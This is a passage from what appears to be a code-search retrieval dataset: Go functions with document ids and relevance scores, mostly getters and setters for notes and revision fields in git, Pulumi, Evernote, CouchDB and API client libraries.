{\n\tvar notes []Note\n\trawNotes, err := runGitCommand(\"notes\", \"--ref\", notesRef, \"show\", revision)\n\tif err != nil {\n\t\t// We just assume that this means there are no notes\n\t\treturn nil\n\t}\n\tfor _, line := range strings.Split(rawNotes, \"\\n\") {\n\t\tnotes = append(notes, Note([]byte(line)))\n\t}\n\treturn notes\n}", "title": "" }, { "docid": "3783266928a2c6526e5dded8d8fd18ee", "score": "0.6207263", "text": "func (o *MicrosoftGraphWindowsMobileMsi) GetNotes() string {\n\tif o == nil || o.Notes == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Notes\n}", "title": "" }, { "docid": "1e5998eee886fabe0efa1c46b95f6731", "score": "0.59414935", "text": "func (o Post) Notes() *string {\n\treturn o.model.Notes.Ptr() // null.String\n}", "title": "" }, { "docid": "437436c3a7ce9141f093c893adeedfa0", "score": "0.5849973", "text": "func (o *CategoryUpdate) GetNotesOk() (*string, bool) {\n\tif o == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Notes.Get(), o.Notes.IsSet()\n}", "title": "" }, { "docid": "0d8a17f1a6f878ddc133f20b88938883", "score": "0.5818102", "text": "func (c *API) GetNotes(params map[string]zoho.Parameter) (data NotesResponse, err error) {\n\tendpoint := zoho.Endpoint{\n\t\tName: \"GetNotes\",\n\t\tURL: fmt.Sprintf(\"https://recruit.zoho.%s/recruit/v2/Notes\", c.ZohoTLD),\n\t\tMethod: zoho.HTTPGet,\n\t\tResponseData: &NotesResponse{},\n\t\tURLParameters: map[string]zoho.Parameter{\n\t\t\t\"page\": \"\",\n\t\t\t\"per_page\": \"\",\n\t\t},\n\t}\n\n\tif len(params) > 0 {\n\t\tfor k, v := range params {\n\t\t\tendpoint.URLParameters[k] = v\n\t\t}\n\t}\n\n\terr = c.Zoho.HTTPRequest(&endpoint)\n\tif err != nil {\n\t\treturn NotesResponse{}, fmt.Errorf(\"failed to retrieve notes: %s\", err)\n\t}\n\n\tif v, ok := endpoint.ResponseData.(*NotesResponse); ok {\n\t\treturn *v, nil\n\t}\n\n\treturn NotesResponse{}, fmt.Errorf(\"data returned was not 'NotesResponse'\")\n}", "title": "" }, { "docid": "504ad7824bfda0ab6f129d411e2b5d3b", "score": "0.57775116", "text": "func (recipe RecipeJSON) GetNotes() ([]Note, error) {\n\trecipeXML := recipe.GetXML()\n\tr, _ := regexp.Compile(\"<notes>(.*)</notes>\")\n\tnotesXML := r.FindString(recipeXML)\n\tvar notes Notes\n\terr := xml.Unmarshal([]byte(notesXML), &notes)\n\tif err != nil {\n\t\treturn notes.Notes, err\n\t}\n\treturn notes.Notes, nil\n}", "title": "" }, { "docid": "aedfdb45531ebd30899a5dfd07b7d15a", "score": "0.57481545", "text": "func (m *ShiftItem) GetNotes()(*string) {\n return m.notes\n}", "title": "" }, { "docid": "4b9645c7740345ad2bff2f38e1a281ae", "score": "0.5686457", "text": "func (m *Contact) GetPersonalNotes()(*string) {\n val, err := m.GetBackingStore().Get(\"personalNotes\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*string)\n }\n return nil\n}", "title": "" }, { "docid": "7331d7f73c38612eec703ffd00c378ab", "score": "0.56422216", "text": "func (o *IssuedCertificate) GetRevoked() bool {\n\tif o == nil || o.Revoked == nil {\n\t\tvar ret bool\n\t\treturn ret\n\t}\n\treturn *o.Revoked\n}", "title": "" }, { "docid": "045bcf71d94f06b42d6f991abb217467", "score": "0.5625752", "text": "func (o *MicrosoftGraphWindowsMobileMsi) GetNotesOk() (string, bool) {\n\tif o == nil || o.Notes == nil {\n\t\tvar ret string\n\t\treturn ret, false\n\t}\n\treturn *o.Notes, true\n}", "title": "" }, { "docid": "778b0061b87f8ae0d08567738f647324", "score": "0.55558723", "text": "func (o *HostMapWidgetDefinition) GetNotesOk() (*string, bool) {\n\tif o == nil || o.Notes == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Notes, true\n}", "title": "" }, { "docid": "58a5cf0d47324951230c45c6984395bd", "score": "0.55458105", "text": "func (v *VocabularyProperty) SetNotes(s string) {\n\tv.Notes = s\n}", "title": "" }, { "docid": "bf5b5286601a5777d381b311987f3e01", "score": "0.5534027", "text": "func GetNotes(c *gin.Context) {\n\tspan, ctx := tracing.CreateChildSpan(c.Request.Context(), \"GetNotes\", otel.Tracer(\"\"))\n\tif span != nil {\n\t\tdefer span.End()\n\t}\n\n\tvar notes []models.Note\n\tdb := db.GetDB(ctx)\n\n\tif err := db.Find(&notes).Error; err != nil {\n\t\tc.AbortWithError(http.StatusInternalServerError, err)\n\t} else {\n\t\tc.JSON(http.StatusOK, notes)\n\t}\n}", "title": "" }, { "docid": "614fe54779e114f5137e2c4b23818e60", "score": "0.5421586", "text": "func (o *HostMapWidgetDefinition) SetNotes(v string) {\n\to.Notes = &v\n}", "title": "" }, { "docid": "d2bf46a48cb3ec4e6a81af7b3aeb1da4", "score": "0.5406393", "text": "func GetNotes(c *gin.Context) {\n\ttracer := opentracing.GlobalTracer()\n\tspan := tracer.StartSpan(\"GetNotes\")\n\tdefer span.Finish()\n\n\tvar notes []models.Note\n\tspan, ctx := opentracing.StartSpanFromContext(c, \"GetNotes\")\n\tdb := utils.GetDB(ctx)\n\n\tif err := db.Find(&notes).Error; err != nil {\n\t\tc.AbortWithError(http.StatusInternalServerError, err)\n\t} else {\n\t\tc.JSON(http.StatusOK, notes)\n\t}\n}", "title": "" }, { "docid": "8b34563744ae5eca9bac729d018df799", "score": "0.54059666", "text": "func (o *MicrosoftGraphWindowsMobileMsi) SetNotes(v string) {\n\to.Notes = &v\n}", "title": "" }, { "docid": "db490b50683e34ae3ce446d431aa8a53", "score": "0.5303137", "text": "func (v *VocabularyType) SetNotes(s string) {\n\tv.Notes = s\n}", "title": "" }, { "docid": "d0229337bbf199394a0797777af14659", "score": "0.52815443", "text": "func AllNotes() Notes {\n\treturn allNotes\n}", "title": "" }, { "docid": "ae78718ee96e52a4d55cdab18412f21b", "score": "0.5258608", "text": "func (o *UpdateToken) GetRevoked() bool {\n\tif o == nil || o.Revoked == nil {\n\t\tvar ret bool\n\t\treturn ret\n\t}\n\treturn *o.Revoked\n}", "title": "" }, { "docid": "c8107b128ea38cd9b3138c21385e76c6", "score": "0.52575177", "text": "func (o *PostBuildingsParams) SetNotes(notes *string) {\n\to.Notes = notes\n}", "title": "" }, { "docid": "06fab1a54a6ea6fa5338ccb4411a385c", "score": "0.52432495", "text": "func (s *CreateLabelInput) SetNotes(v string) *CreateLabelInput {\n\ts.Notes = &v\n\treturn s\n}", "title": "" }, { "docid": "40f695096b2e1a3d94d60cf390db0e94", "score": "0.5242721", "text": "func (o *IssuedCertificate) GetRevocationTime() time.Time {\n\tif o == nil || o.RevocationTime == nil {\n\t\tvar ret time.Time\n\t\treturn ret\n\t}\n\treturn *o.RevocationTime\n}", "title": "" }, { "docid": "55dfd480cbbe7daebf0024e2ad424c4d", "score": "0.52340645", "text": "func (o BookmarkTimelineItemResponseOutput) Notes() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v BookmarkTimelineItemResponse) *string { return v.Notes }).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "4d90ae5b25007f1191f17608ff9ec5fb", "score": "0.52047545", "text": "func (s *DescribeLabelOutput) SetNotes(v string) *DescribeLabelOutput {\n\ts.Notes = &v\n\treturn s\n}", "title": "" }, { "docid": "7f3a39d2abc667d1e120c3306ff4385a", "score": "0.51767266", "text": "func (c *client) GetTxNotes(req *GetTxNotesRequest) (resp *GetTxNotesResponse, err error) {\n\terr = c.do(\"get_tx_notes\", &req, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn\n}", "title": "" }, { "docid": "c7ac852a4d279acee0305f953eb7bda4", "score": "0.5167362", "text": "func (o ApiAccessKeyOutput) Notes() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *ApiAccessKey) pulumi.StringOutput { return v.Notes }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "59f0878b7a2a276f0c3b8133252af277", "score": "0.51439655", "text": "func (c *Checkout) GetNote(ctx context.Context, rev string, note interface{}) (bool, error) {\n\treturn getNote(ctx, c.dir, c.realNotesRef, rev, note)\n}", "title": "" }, { "docid": "6102e7dd0afc53c9ec03d2b5b715367f", "score": "0.51431483", "text": "func MRNotes(mrID gid.GID) Notes {\n\treturn Notes{mrID: mrID}\n}", "title": "" }, { "docid": "f7b65d83a4ff8190ed653f6b27614599", "score": "0.5117484", "text": "func (o *PostAutoDiscoveryCloudaccountParams) SetNotes(notes *string) {\n\to.Notes = notes\n}", "title": "" }, { "docid": "81f0154167e71cd89fc7ac9a3db9a56c", "score": "0.5104428", "text": "func (o *CategoryUpdate) HasNotes() bool {\n\tif o != nil && o.Notes.IsSet() {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "3f990678b8b5e752cad53d9b289a2065", "score": "0.50978017", "text": "func (tuo *TestUpdateOne) SetNotes(s []string) *TestUpdateOne {\n\ttuo.notes = &s\n\treturn tuo\n}", "title": "" }, { "docid": "d345f1c08cda56862781bdb42e5fdfbd", "score": "0.50936407", "text": "func (o *IssuedCertificate) GetRevocationReason() float32 {\n\tif o == nil || o.RevocationReason == nil {\n\t\tvar ret float32\n\t\treturn ret\n\t}\n\treturn *o.RevocationReason\n}", "title": "" }, { "docid": "a8c06c7dceabc15900b9ede60afcbd0a", "score": "0.5047097", "text": "func (repo *GitRepo) GetAllNotes(notesRef string) (map[string][]Note, error) {\n\t// This code is unfortunately quite complicated, but it needs to be so.\n\t//\n\t// Conceptually, this is equivalent to:\n\t// result := make(map[string][]Note)\n\t// for _, commit := range repo.ListNotedRevisions(notesRef) {\n\t// result[commit] = repo.GetNotes(notesRef, commit)\n\t// }\n\t// return result, nil\n\t//\n\t// However, that logic would require separate executions of the 'git'\n\t// command for every annotated commit. For a repo with 10s of thousands\n\t// of reviews, that would mean calling Cmd.Run(...) 10s of thousands of\n\t// times. That, in turn, would take so long that the tool would be unusable.\n\t//\n\t// This method avoids that by taking advantage of the 'git cat-file --batch=\"...\"'\n\t// command. That allows us to use a single invocation of Cmd.Run(...) to\n\t// inspect multiple git objects at once.\n\t//\n\t// As such, regardless of the number of reviews in a repo, we can get all\n\t// of the notes using a total of three invocations of Cmd.Run(...):\n\t// 1. One to list all the annotated objects (and their notes hash)\n\t// 2. A second one to filter out all of the annotated objects that are not commits.\n\t// 3. A final one to get the contents of all of the notes blobs.\n\toverview, err := repo.notesOverview(notesRef)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tisCommit, err := overview.getIsCommitMap(repo)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failure building the set of commit objects: %v\", err)\n\t}\n\tnoteContentsMap, err := overview.getNoteContentsMap(repo)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failure building the mapping from notes hash to contents: %v\", err)\n\t}\n\tcommitNotesMap := make(map[string][]Note)\n\tfor _, notesMapping := range overview.NotesMappings {\n\t\tif !isCommit[*notesMapping.ObjectHash] {\n\t\t\tcontinue\n\t\t}\n\t\tnoteBytes := noteContentsMap[*notesMapping.NotesHash]\n\t\tbyteSlices := bytes.Split(noteBytes, []byte(\"\\n\"))\n\t\tvar notes []Note\n\t\tfor _, slice := range byteSlices {\n\t\t\tnotes = append(notes, Note(slice))\n\t\t}\n\t\tcommitNotesMap[*notesMapping.ObjectHash] = notes\n\t}\n\n\treturn commitNotesMap, nil\n}", "title": "" }, { "docid": "4765e852822f69a5d414e28d7ef6becc", "score": "0.5033836", "text": "func (db *DB) GetDocumentRev(id string) (string, error) {\n\treturn db.Rev(id)\n}", "title": "" }, { "docid": "6824b7a94836f5e10025cb3966832fb4", "score": "0.50275207", "text": "func (c *Client) GetTxNotes(req *GetTxNotesRequest) (*GetTxNotesResponse, error) {\n\tresp := &GetTxNotesResponse{}\n\terr := c.Do(\"get_tx_notes\", &req, resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "ae250df73b20f452d4f979968f75bc97", "score": "0.49491695", "text": "func (c *Client) GetMergeRequestNotes(ctx context.Context, project *Project, iid ID) func() ([]*Note, error) {\n\tif MockGetMergeRequestNotes != nil {\n\t\treturn MockGetMergeRequestNotes(c, ctx, project, iid)\n\t}\n\n\turl := fmt.Sprintf(\"projects/%d/merge_requests/%d/notes\", project.ID, iid)\n\treturn func() ([]*Note, error) {\n\t\tpage := []*Note{}\n\n\t\t// If there aren't any further pages, we'll return the empty slice we\n\t\t// just created.\n\t\tif url == \"\" {\n\t\t\treturn page, nil\n\t\t}\n\n\t\treq, err := http.NewRequest(\"GET\", url, nil)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"creating notes request\")\n\t\t}\n\n\t\theader, _, err := c.do(ctx, req, &page)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"requesting notes page\")\n\t\t}\n\n\t\t// If there's another page, this will be a URL. If there's not, then\n\t\t// this will be an empty string, and we can detect that next iteration\n\t\t// to short circuit.\n\t\turl = header.Get(\"X-Next-Page\")\n\n\t\treturn page, nil\n\t}\n}", "title": "" }, { "docid": "497035a6a6765ab3919fd787a81416e9", "score": "0.48995882", "text": "func (sens *Sensor) GetRevInfo() (err error) {\r\n\tsens.SensorRevision.AccRev, err = sens.i2cbus.ReadRegU8(RegAccID)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\r\n\tsens.SensorRevision.MagRev, err = sens.i2cbus.ReadRegU8(RegMagID)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\r\n\tsens.SensorRevision.GyrRev, err = sens.i2cbus.ReadRegU8(RegGyrID)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\r\n\tsens.SensorRevision.BlRev, err = sens.i2cbus.ReadRegU8(RegBLRevID)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\r\n\ta, err := sens.i2cbus.ReadRegU8(RegSWRevIDLSB)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\tb, err := sens.i2cbus.ReadRegU8(RegSWRevIDMSB)\r\n\tsens.SensorRevision.SwRev = (uint16(b) << 8) | uint16(a)\r\n\r\n\treturn err\r\n}", "title": "" }, { "docid": "180d512dac0e33198662b4bda3414d25", "score": "0.4897709", "text": "func (o *CategoryUpdate) SetNotes(v string) {\n\to.Notes.Set(&v)\n}", "title": "" }, { "docid": "f0db006fa1257dbf0e816ed729fb4a5e", "score": "0.48954052", "text": "func (o *MicrosoftGraphWindowsMobileMsi) HasNotes() bool {\n\tif o != nil && o.Notes != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "4a7f5d5882cc950aaf5b1c1fc7c3f696", "score": "0.48879528", "text": "func (p *NoteStoreClient) GetNoteVersion(authenticationToken string, noteGuid types.GUID, updateSequenceNum int32, withResourcesData bool, withResourcesRecognition bool, withResourcesAlternateData bool) (r *types.Note, err error) {\n\tif err = p.sendGetNoteVersion(authenticationToken, noteGuid, updateSequenceNum, withResourcesData, withResourcesRecognition, withResourcesAlternateData); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetNoteVersion()\n}", "title": "" }, { "docid": "b5a678780cf86b7da4e1d8ba19124408", "score": "0.48693994", "text": "func (tu *TestUpdate) SetNotes(s []string) *TestUpdate {\n\ttu.notes = &s\n\treturn tu\n}", "title": "" }, { "docid": "0af5d9cd06e9542f5ef6ea061dad8302", "score": "0.4865085", "text": "func (pv *PackageVCS) GetRev() (string, error) {\n\treturn \"\", errors.New(\"package VCS currently does not support GetRev\")\n}", "title": "" }, { "docid": "f5dbed1fc93d30227dc85e953c3d1ade", "score": "0.48643044", "text": "func (o *PutIPAMCustomFIvrfgroupParams) SetNotes(notes *string) {\n\to.Notes = notes\n}", "title": "" }, { "docid": "18d42594163cfeb42ccad127a5788035", "score": "0.48437038", "text": "func (o *IssuedCertificate) GetRevokedOk() (*bool, bool) {\n\tif o == nil || o.Revoked == nil {\n\t\treturn nil, false\n\t}\n\treturn o.Revoked, true\n}", "title": "" }, { "docid": "a4107918586a081f62ef279e82af7595", "score": "0.48006546", "text": "func (c *AppPackageDeleteCall) ReleaseNotes(releaseNotes string) *AppPackageDeleteCall {\n\tc.opt_[\"releaseNotes\"] = releaseNotes\n\treturn c\n}", "title": "" }, { "docid": "66c320ebaa4746d2652213100484366f", "score": "0.47847128", "text": "func (tu *TestUpdate) ClearNotes() *TestUpdate {\n\ttu.notes = nil\n\ttu.clearnotes = true\n\treturn tu\n}", "title": "" }, { "docid": "c0696cd2e0f842dea260128c93f04d9a", "score": "0.47843033", "text": "func (c *Client) GetFieldNote(ctx context.Context, path string) (*http.Response, error) {\n\treq, err := c.NewGetFieldNoteRequest(ctx, path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn c.Client.Do(ctx, req)\n}", "title": "" }, { "docid": "3916a6d71927c29ecda5ebe001663f02", "score": "0.47813427", "text": "func (tuo *TestUpdateOne) ClearNotes() *TestUpdateOne {\n\ttuo.notes = nil\n\ttuo.clearnotes = true\n\treturn tuo\n}", "title": "" }, { "docid": "82ded5fdfc97a88f2d97c6cafb9453e6", "score": "0.47802633", "text": "func (d *Block) GetRev() string {\n\treturn d.Rev\n}", "title": "" }, { "docid": "5cf654e7a0ccef5a4e9a4b11e5f932ff", "score": "0.4773846", "text": "func (tc *TestCreate) SetNotes(s []string) *TestCreate {\n\ttc.notes = &s\n\treturn tc\n}", "title": "" }, { "docid": "40baafc6c80c80942957f9dc6ef476f0", "score": "0.47638252", "text": "func (m *ShiftItem) SetNotes(value *string)() {\n m.notes = value\n}", "title": "" }, { "docid": "f7794132cadca8c1ee6c4433ff322d94", "score": "0.47533244", "text": "func (o *TaskremindersIdJsonReminder) GetNote() string {\n\tif o == nil || o.Note == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Note\n}", "title": "" }, { "docid": "00c578b6a538b7e31f8ad625d6b2fdb6", "score": "0.4735857", "text": "func (s *MobileSdkRelease) SetReleaseNotes(v string) *MobileSdkRelease {\n\ts.ReleaseNotes = &v\n\treturn s\n}", "title": "" }, { "docid": "a26375be2863e4bf158a3922d858fd2f", "score": "0.47355956", "text": "func (m *PlannerTaskPropertyRule) SetNotes(value []string)() {\n err := m.GetBackingStore().Set(\"notes\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "e1509a41c22e4f7fa126a203590125f2", "score": "0.47331047", "text": "func (o RevocationDetailsResponsePtrOutput) RevocationTime() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *RevocationDetailsResponse) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.RevocationTime\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "ff4bc4c971d8cb135b51d9a00f86d3b2", "score": "0.47071382", "text": "func (repo *GitRepo) ListNotedRevisions(notesRef string) []string {\n\tvar revisions []string\n\tnotesListOut, err := repo.runGitCommand(\"notes\", \"--ref\", notesRef, \"list\")\n\tif err != nil {\n\t\treturn nil\n\t}\n\tnotesList := strings.Split(notesListOut, \"\\n\")\n\tfor _, notePair := range notesList {\n\t\tnoteParts := strings.SplitN(notePair, \" \", 2)\n\t\tif len(noteParts) == 2 {\n\t\t\tobjHash := noteParts[1]\n\t\t\tobjType, err := repo.runGitCommand(\"cat-file\", \"-t\", objHash)\n\t\t\t// If a note points to an object that we do not know about (yet), then err will not\n\t\t\t// be nil. We can safely just ignore those notes.\n\t\t\tif err == nil && objType == \"commit\" {\n\t\t\t\trevisions = append(revisions, objHash)\n\t\t\t}\n\t\t}\n\t}\n\treturn revisions\n}", "title": "" }, { "docid": "4f6fa71c866da49d903473aee4dcba5f", "score": "0.4704288", "text": "func (o TestCaseOutput) Notes() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *TestCase) pulumi.StringOutput { return v.Notes }).(pulumi.StringOutput)\n}", "title": "" }, { "docid": "ca2b136c48aa71929f7bfb154b7f33cd", "score": "0.4665459", "text": "func getReleaseNotes(filename string) (string, error) {\n\tbytes, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(bytes), nil\n}", "title": "" }, { "docid": "ed32986c5d964c13311b2e3d2275ccf7", "score": "0.46596602", "text": "func (p *NoteStoreClient) GetNote(authenticationToken string, guid types.GUID, withContent bool, withResourcesData bool, withResourcesRecognition bool, withResourcesAlternateData bool) (r *types.Note, err error) {\n\tif err = p.sendGetNote(authenticationToken, guid, withContent, withResourcesData, withResourcesRecognition, withResourcesAlternateData); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetNote()\n}", "title": "" }, { "docid": "31dd2c737fb39d5ec8870b216ddf570f", "score": "0.46586648", "text": "func (h *Header) ReceiptsRoot() polo.Bytes32 {\n\treturn h.body.ReceiptsRoot\n}", "title": "" }, { "docid": "5119e1a03657ec5cf16be51665715acf", "score": "0.46583807", "text": "func (o *CategoryUpdate) UnsetNotes() {\n\to.Notes.Unset()\n}", "title": "" }, { "docid": "2e1ca8005e4e3a088445f27cfef85a70", "score": "0.46533898", "text": "func (p *NoteStoreClient) ExpungeInactiveNotes(authenticationToken string) (r int32, err error) {\n\tif err = p.sendExpungeInactiveNotes(authenticationToken); err != nil {\n\t\treturn\n\t}\n\treturn p.recvExpungeInactiveNotes()\n}", "title": "" }, { "docid": "6f65228099496e9565b817c191848dc3", "score": "0.4646994", "text": "func GetNote(ctx *pulumi.Context,\n\tname string, id pulumi.IDInput, state *NoteState, opts ...pulumi.ResourceOption) (*Note, error) {\n\tvar resource Note\n\terr := ctx.ReadResource(\"google-native:containeranalysis/v1beta1:Note\", name, id, state, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "4db6786fd3b3bbb355c037089c7b4770", "score": "0.46439782", "text": "func (o *IssuedCertificate) SetRevoked(v bool) {\n\to.Revoked = &v\n}", "title": "" }, { "docid": "d612dc2bf0222a5eae93d8c4a2c87064", "score": "0.4639701", "text": "func PrivateNotes(v string) predicate.Vehicle {\n\treturn predicate.Vehicle(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldPrivateNotes), v))\n\t})\n}", "title": "" }, { "docid": "7fdc288dfbcb77038771cc374b4b7536", "score": "0.46384072", "text": "func (p *NoteStoreClient) ExpungeNotes(authenticationToken string, noteGuids []string) (r int32, err error) {\n\tif err = p.sendExpungeNotes(authenticationToken, noteGuids); err != nil {\n\t\treturn\n\t}\n\treturn p.recvExpungeNotes()\n}", "title": "" }, { "docid": "056ce2d9687bfee37754568249c1806e", "score": "0.4632631", "text": "func (o *HostMapWidgetDefinition) HasNotes() bool {\n\tif o != nil && o.Notes != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "982298b153eb9eda93beb3df7cb03502", "score": "0.4632406", "text": "func GetAllNotes() []Note {\n\tnoteList := []Note{\n\t\tA, ASharp, B, C, CSharp, D, DSharp, E, F, FSharp, G, GSharp,\n\t}\n\treturn noteList\n}", "title": "" }, { "docid": "68d5d5740d6e14604c8a1ad5721bbde7", "score": "0.4626049", "text": "func (o *IssuedCertificate) SetRevocationTime(v time.Time) {\n\to.RevocationTime = &v\n}", "title": "" }, { "docid": "773d89a5d381d8f04cebde814bc8375e", "score": "0.4623452", "text": "func publishNotes() error {\n\trepo := viper.GetString(\"github.repository\")\n\t// check if repo variable contains owner and repository name\n\trepoSlice := strings.Split(repo, \"/\")\n\tif len(repoSlice) > 1 {\n\t\trepo = repoSlice[1]\n\t\tlogrus.Infof(\"Repository variable is overridden because of the variable contains owner name\")\n\t}\n\n\towner := viper.GetString(\"github.owner\")\n\tif owner == \"\" {\n\t\towner = viper.GetString(\"github.repository.owner\")\n\t}\n\n\tghClient := gh.NewGithubClient(\n\t\tgh.GithubClientOptions{\n\t\t\tToken: viper.GetString(\"github.token\"),\n\t\t\tOwner: owner,\n\t\t\tRepository: repo,\n\t\t},\n\t)\n\n\tlogrus.Debugf(\"github.owner: %v\", viper.GetString(\"github.owner\"))\n\tlogrus.Debugf(\"github.owner1: %v\", viper.GetString(\"github.repository.owner\"))\n\tlogrus.Debugf(\"github.owner2: %v\", owner)\n\n\trndList, err := ghClient.GetReleaseNotesData(viper.GetString(\"github.tag\"))\n\tif err != nil {\n\t\treturn err\n\t}\n\tghClient.PublishReleaseNotes(rndList)\n\n\treturn nil\n}", "title": "" }, { "docid": "72382dc1b85ff9a2a56cf895fa89e140", "score": "0.46210402", "text": "func (r *ReverseTunnelV2) GetRevision() string {\n\treturn r.Metadata.GetRevision()\n}", "title": "" }, { "docid": "c47ff27a395488ef8fb4fa6d0ca13dae", "score": "0.4610747", "text": "func (o RevocationDetailsResponsePtrOutput) RevocationState() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *RevocationDetailsResponse) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn &v.RevocationState\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "7f6de1d958baf97912c8af974872986a", "score": "0.46098483", "text": "func GetNotes() []Note {\r\n\ttime.Sleep(50 * time.Millisecond)\r\n\r\n\treturn notes\r\n}", "title": "" }, { "docid": "46f827e3d9d037a77bc8ada275bb6c29", "score": "0.4607017", "text": "func ListNotedRevisions(notesRef string) []string {\n\tvar revisions []string\n\tnotesList := strings.Split(runGitCommandOrDie(\"notes\", \"--ref\", notesRef, \"list\"), \"\\n\")\n\tfor _, notePair := range notesList {\n\t\tnoteParts := strings.SplitN(notePair, \" \", 2)\n\t\tif len(noteParts) == 2 {\n\t\t\tobjHash := noteParts[1]\n\t\t\tobjType, err := runGitCommand(\"cat-file\", \"-t\", objHash)\n\t\t\t// If a note points to an object that we do not know about (yet), then err will not\n\t\t\t// be nil. We can safely just ignore those notes.\n\t\t\tif err == nil && objType == \"commit\" {\n\t\t\t\trevisions = append(revisions, objHash)\n\t\t\t}\n\t\t}\n\t}\n\treturn revisions\n}", "title": "" }, { "docid": "d290c0f71ddf319edf039064d89c30fb", "score": "0.4596785", "text": "func (c *AppPackageDeleteCall) ReleaseNotes(releaseNotes string) *AppPackageDeleteCall {\n\tc.urlParams_.Set(\"releaseNotes\", releaseNotes)\n\treturn c\n}", "title": "" }, { "docid": "7b6cc30d163fd9809cf48435cdd27ab3", "score": "0.4592817", "text": "func GetChromaticNotes(baseNote string) []string {\n\tnotes := []string{\"C\", \"D\", \"E\", \"F\", \"G\", \"A\", \"B\"}\n\tchromaticNotes := make([]string, 12)\n\tfor i, j := 0, 0; i < len(notes); i++ {\n\t\tchromaticNotes[j] = notes[i]\n\t\tj++\n\t\tswitch i {\n\t\tcase 2, 6:\n\t\t\tbreak\n\t\tdefault:\n\t\t\tchromaticNotes[j] = notes[i] + \"#\"\n\t\t\tj++\n\t\t}\n\t}\n\tfor i, n := range chromaticNotes {\n\t\tif n == baseNote {\n\t\t\torderedNotes := append(chromaticNotes[i:], chromaticNotes[:i]...)\n\t\t\torderedNotes = append(orderedNotes, baseNote)\n\t\t\treturn orderedNotes\n\t\t}\n\t}\n\treturn []string{\"Error: Wrong note name \" + baseNote}\n}", "title": "" }, { "docid": "c35acfd4fd8ac603c21f7cb1c48920cb", "score": "0.45874202", "text": "func GetNotes(db *bolt.DB) ([]*Note, error) {\n\tvar notes []*Note\n\terr := db.View(func(tx *bolt.Tx) error {\n\t\t// Assume bucket exists and has keys\n\t\tb := tx.Bucket([]byte(noteBucketName))\n\n\t\treturn b.ForEach(func(k, v []byte) error {\n\t\t\tvar note *Note\n\t\t\tif err := json.Unmarshal(v, &note); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tnotes = append(notes, note)\n\t\t\treturn nil\n\t\t})\n\t})\n\n\treturn notes, err\n}", "title": "" }, { "docid": "283f085ee2446f7c40feab93ad4b94b1", "score": "0.4563897", "text": "func (p *NoteStoreClient) GetNoteContent(authenticationToken string, guid types.GUID) (r string, err error) {\n\tif err = p.sendGetNoteContent(authenticationToken, guid); err != nil {\n\t\treturn\n\t}\n\treturn p.recvGetNoteContent()\n}", "title": "" }, { "docid": "9b473ed8702de6e2c07d2284bdbb5a4e", "score": "0.45440727", "text": "func (db Database) GetDocRev(id string) *string {\n req, err := db.couch.newRequest(\"HEAD\", db.Name + \"/\" + id, nil)\n if err != nil {\n log.Println(\"[ERROR]\", err)\n return nil\n }\n\tif db.couch.client.Jar != nil {\n\t\tfor _, cookie := range db.couch.client.Jar.Cookies(req.URL) {\n\t\t\treq.AddCookie(cookie)\n\t\t}\n\t}\n // send the request\n resp, err := db.couch.client.Do(req)\n if err != nil {\n log.Println(\"[ERROR]\", err)\n return nil\n } else if err == nil && db.couch.client.Jar != nil {\n\t\tdb.couch.client.Jar.SetCookies(req.URL, resp.Cookies())\n\t}\n // don't forget to close the bodies\n if req.Body != nil {\n defer req.Body.Close()\n }\n defer resp.Body.Close()\n\n // the Etag header contains the revision\n etag := resp.Header[\"Etag\"]\n if len(etag) > 0 {\n return &etag[0]\n }\n\n return nil\n}", "title": "" }, { "docid": "1d86703d3e47cbe461280b8eaf193e5c", "score": "0.4543766", "text": "func (n *noteRepository) getNotes(filter bson.M) ([]*entity.Note, error) {\n\tctx, cancel := n.getContext()\n\tdefer cancel()\n\n\tcollection := n.getNoteCollection()\n\tcursor, err := collection.Find(ctx, filter)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer cursor.Close(ctx)\n\tvar result []*entity.Note\n\tfor cursor.Next(ctx) {\n\t\tvar note entity.Note\n\t\tif err := 